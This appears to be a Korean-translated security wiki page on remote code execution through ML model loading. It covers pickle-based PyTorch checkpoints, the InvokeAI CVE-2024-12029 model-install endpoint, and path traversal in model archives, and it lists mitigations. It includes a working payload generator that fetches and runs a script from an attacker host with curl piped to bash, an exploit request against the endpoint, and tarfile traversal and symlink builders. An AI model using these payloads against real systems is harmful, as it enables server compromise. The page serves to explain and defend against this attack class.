Models RCE

Loading models to RCE

Machine Learning 모델은 일반적으로 ONNX, TensorFlow, PyTorch 등 다양한 형식으로 공유됩니다. 이러한 모델은 개발자의 머신이나 프로덕션 시스템에 로드되어 사용될 수 있습니다. 일반적으로 모델에는 악성 코드가 포함되지 않아야 하지만, 모델 로딩 라이브러리의 취약점이나 의도된 기능으로 인해 시스템에서 임의 코드를 실행하는 데 사용될 수 있는 경우가 있습니다.

이 글을 작성할 당시 이러한 유형의 취약점 몇 가지 예시는 다음과 같습니다:

또한, PyTorch에서 사용되는 것과 같은 Python pickle 기반 모델은 weights_only=True로 로드되지 않으면 시스템에서 임의 코드를 실행하는 데 사용될 수 있습니다. 따라서, 테이블에 나열되지 않은 경우에도 모든 pickle 기반 모델은 이러한 유형의 공격에 특히 취약할 수 있습니다.

🆕 InvokeAI RCE via torch.load (CVE-2024-12029)

InvokeAI는 Stable-Diffusion을 위한 인기 있는 오픈 소스 웹 인터페이스입니다. 버전 5.3.1 – 5.4.2는 사용자가 임의의 URL에서 모델을 다운로드하고 로드할 수 있는 REST 엔드포인트 /api/v2/models/install를 노출합니다.

내부적으로 이 엔드포인트는 결국 다음을 호출합니다:

checkpoint = torch.load(path, map_location=torch.device("meta"))

When the supplied file is a PyTorch checkpoint (*.ckpt), torch.load performs a pickle deserialization. Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom __reduce__ method inside the checkpoint; the method is executed during deserialization, leading to remote code execution (RCE) on the InvokeAI server.

The vulnerability was assigned CVE-2024-12029 (CVSS 9.8, EPSS 61.17 %).

Exploitation walk-through

1. 악성 체크포인트 생성:

# payload_gen.py
import pickle, torch, os

class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))

with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)

2. 당신이 제어하는 HTTP 서버에 payload.ckpt를 호스팅합니다 (예: http://ATTACKER/payload.ckpt).
3. 취약한 엔드포인트를 트리거합니다 (인증 필요 없음):

import requests

requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt",  # remote model URL
"inplace": "true",                         # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={},                                         # body can be empty
timeout=5,
)

4. InvokeAI가 파일을 다운로드할 때 torch.load()를 호출합니다 → os.system 가젯이 실행되고 공격자는 InvokeAI 프로세스의 컨텍스트에서 코드 실행을 얻습니다.

기성 익스플로잇: Metasploit 모듈 exploit/linux/http/invokeai_rce_cve_2024_12029가 전체 흐름을 자동화합니다.

조건

• InvokeAI 5.3.1-5.4.2 (스캔 플래그 기본값 false) • /api/v2/models/install 공격자가 접근 가능 • 프로세스가 셸 명령을 실행할 수 있는 권한을 가짐

완화 조치

• InvokeAI ≥ 5.4.3로 업그레이드 – 패치는 기본적으로 scan=True로 설정하고 역직렬화 전에 악성 코드 스캔을 수행합니다.
• 체크포인트를 프로그래밍적으로 로드할 때 torch.load(file, weights_only=True) 또는 새로운 torch.load_safe 헬퍼를 사용합니다.
• 모델 소스에 대한 허용 목록/서명을 시행하고 최소 권한으로 서비스를 실행합니다.

⚠️ 모든 Python pickle 기반 형식(많은 .pt, .pkl, .ckpt, .pth 파일 포함)은 신뢰할 수 없는 소스에서 역직렬화하는 것이 본질적으로 안전하지 않다는 것을 기억하세요.

리버스 프록시 뒤에서 이전 InvokeAI 버전을 계속 실행해야 하는 경우의 임시 완화 조치 예:

location /api/v2/models/install {
deny all;                       # block direct Internet access
allow 10.0.0.0/8;               # only internal CI network can call it
}

예시 – 악성 PyTorch 모델 만들기

• 모델 생성:

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• 모델 로드:

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error

Models to Path Traversal

As commented in this blog post, 대부분의 AI 프레임워크에서 사용되는 모델 형식은 아카이브를 기반으로 하며, 일반적으로 .zip입니다. 따라서 이러한 형식을 악용하여 경로 탐색 공격을 수행할 수 있으며, 모델이 로드된 시스템에서 임의의 파일을 읽을 수 있습니다.

For example, with the following code you can create a model that will create a file in the /tmp directory when loaded:

import tarfile

def escape(member):
member.name = "../../tmp/hacked"     # break out of the extract dir
return member

with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)

다음 코드를 사용하면 로드될 때 /tmp 디렉토리에 대한 심볼릭 링크를 생성하는 모델을 만들 수 있습니다:

import tarfile, pathlib

TARGET  = "/tmp"        # where the payload will land
PAYLOAD = "abc/hacked"

def link_it(member):
member.type, member.linkname = tarfile.SYMTYPE, TARGET
return member

with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD)                      # rides the symlink

References

• OffSec 블로그 – "CVE-2024-12029 – InvokeAI 신뢰할 수 없는 데이터의 역직렬화"
• InvokeAI 패치 커밋 756008d
• Rapid7 Metasploit 모듈 문서
• PyTorch – torch.load에 대한 보안 고려사항